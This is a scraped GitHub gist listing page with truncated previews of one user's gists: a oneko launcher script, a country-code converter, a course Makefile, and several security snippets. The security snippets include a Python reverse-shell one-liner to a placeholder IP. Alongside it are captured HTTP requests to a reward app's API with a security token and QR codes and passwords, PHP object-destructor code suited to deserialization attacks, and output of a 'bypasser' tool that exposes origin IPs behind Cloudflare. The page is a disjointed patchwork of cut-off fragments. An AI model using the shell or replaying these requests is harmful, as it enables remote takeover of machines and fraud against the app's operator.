Skip to content

Instantly share code, notes, and snippets.

View RKursatV's full-sized avatar
🌋
I may be slow to respond.

R. Kürşat Vuruşan RKursatV

🌋
I may be slow to respond.
View GitHub Profile
@RKursatV
RKursatV / onekoRace.sh
Last active August 5, 2023 19:21
A script generates 100 random oneko characters with random colors and random magnitude of speed
#!/bin/bash
type oneko >/dev/null 2>&1 || { echo >&2 "I require oneko but it's not installed. Aborting."; exit 1; }
array[0]="sakura"
array[1]="tomoyo"
array[2]="neko"
array[3]="dog"
array[4]="tora"
allcolorsS=$(awk -F ' ' '{print $4}' /etc/X11/rgb.txt | tr "\n" " ");
import xml.etree.ElementTree as ET
import xlrd
from code3to2 import convert2
tree = ET.parse('data.xml')
root = tree.getroot()
wld = []
wldGdp = []
@RKursatV
RKursatV / countryCodeConverter.py
Created July 17, 2020 17:53
converts three digit country code to two digit country code
def convert2(threeDigit):
"""converts three digit country code to two digit country code"""
codeMapping = {
'AFG':'AF',
'ALA':'AX',
'ALB':'AL',
'DZA':'DZ',
'ASM':'AS',
'AND':'AD',
'AGO':'AO',
POST /restearnmobil/senk_yeni HTTP/1.1
Content-Length: 263
Content-Type: application/x-www-form-urlencoded
Host: restearncloud.com
Connection: Keep-Alive
Accept-Encoding: gzip
req=%7B%22insert%22%3A%5B%5D%2C%22update%22%3A%5B%5D%2C%22delete%22%3A%5B%5D%2C%22extra%22%3A%7B%22id%22%3A%2212040%22%2C%22city%22%3A%22konya%22%2C%22temp_key%22%3A%22ZmdlZ1LK8VO2pFhO202006262158346161%22%2C%22security_token%22%3A%22caXNnBzGd64wMX9jg2L9%22%7D%7D
POST /restearnmobil/odul_qr_read HTTP/1.1
Content-Length: 255
Content-Type: application/x-www-form-urlencoded
Host: restearncloud.com
Connection: Keep-Alive
Accept-Encoding: gzip
req=%7B%22security_token%22%3A%22caXNnBzGd64wMX9jg2L9%22%2C%22qr_code%22%3A%22KG7QVfRp2020062622004922527%22%2C%22qr_sifre%22%3A%22said1234said%22%2C%22qr_pass%22%3A%22uPT3M1hY2020062622004922527%22%2C%22tip%22%3A%22odul%22%2C%22kul_id%22%3A%2212040%22%7D
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
<?php
class Dosya {
public $files = "";
function __destruct() {
$dosya = explode(".",strtolower($this->files));
if(end($dosya) === "txt"){
$ac = file($this->files);
if($ac[0] === trim("istekler")){
}else {
<?php
class Dosya {
public $files = "";
function __destruct() {
$dosya = explode(".",strtolower($this->files));
if(end($dosya) === "txt"){
$ac = file($this->files);
if($ac[0] === trim("istekler")){
}else {
@RKursatV
RKursatV / Makefile
Created May 1, 2020 11:48
Makefile 242-Hw3
LDFLAGS=-std=c++11
MAKER=make --no-print-directory
DIFFER=diff -y --color --minimal --suppress-common-lines
define check_class
@$(MAKER) clean;
@echo "compiling $(1)";
@if $(MAKER) $(1); then \
echo "$(1) compiled successfully.\nchecking outputs"; \
else\
/home/rkv/Documents/bypasser/venv/bin/python /home/rkv/Documents/bypasser/bb.py
80.211.210.39 8080
(b'HTTP/1.1 200 OK\r\nDate: Fri, 10 Apr 2020 07:37:32 GMT\r\nContent-Type: text/html; charset=UTF-8\r\nTransfer-Encoding: chunked\r\nSet-Cookie: __cfduid=d273cadc2b998c6c730f907ea1de80f9c1586504252; expires=Sun, 10-May-20 07:37:32 GMT; path=/; domain=.zarar.win; HttpOnly; SameSite=Lax; Secure\r\nX-Powered-By: PHP/5.6.40\r\nVary: Accept-Encoding\r\nAccess-Control-Allow-Origin: *\r\nAccess-Control-Allow-Headers: Content-Type, Authorization, access-control-allow-origin, x-requested-with\r\nAccess-Control-Allow-Methods: GET,PUT,POST,DELETE\r\nCF-Cache-Status: DYNAMIC\r\nExpect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"\r\nStrict-Transport-Security: max-age=0; includeSubDomains; preload\r\nX-Content-Type-Options: nosniff\r\nServer: cloudflare\r\nCF-RAY: 581acd9a6d5ffd11-OTP\r\nContent-Encoding: gzip\r\nConnection: keep-alive\r\n\r\n', None)
94.130.70.42 80
(b'HTTP/1.1